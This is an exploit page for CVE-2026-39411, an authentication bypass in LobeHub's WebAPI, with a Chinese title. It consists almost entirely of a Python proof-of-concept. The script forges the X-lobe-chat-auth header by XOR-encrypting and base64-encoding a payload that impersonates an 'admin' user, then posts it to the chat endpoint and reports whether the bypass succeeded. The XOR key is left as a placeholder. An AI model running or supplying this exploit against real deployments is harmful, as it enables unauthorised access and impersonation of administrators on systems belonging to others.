CVE-2026-39411 LobeHub WebAPI认证绕过漏洞

import requests import base64 import json # The XOR key is hardcoded in the repository. # This is a placeholder; the actual key needs to be extracted from the source code. XOR_KEY = b"YOUR_HARD_CODED_XOR_KEY" def xor_encrypt(data: bytes, key: bytes) -> bytes: """XOR encrypt/decrypt data with the given key.""" return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)]) def forge_auth_header(payload: dict) -> str: """Forges the X-lobe-chat-auth header value.""" payload_str = json.dumps(payload) payload_bytes = payload_str.encode('utf-8') encrypted_bytes = xor_encrypt(payload_bytes, XOR_KEY) return base64.b64encode(encrypted_bytes).decode('utf-8') # Target endpoint vulnerable to authentication bypass target_url = "http://<target-host>/webapi/chat/openai" # Payload to forge (e.g., impersonating an admin or a valid user) # Adjust the structure based on the actual application logic malicious_payload = { "userId": "admin", "apiKey": "fake_api_key" } # Generate the forged token forged_token = forge_auth_header(malicious_payload) headers = { "X-lobe-chat-auth": forged_token, "Content-Type": "application/json" } try: response = requests.post(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if response.status_code == 200: print("[+] Authentication bypass successful!") else: print("[-] Request failed, check parameters.") except Exception as e: print(f"Error: {e}")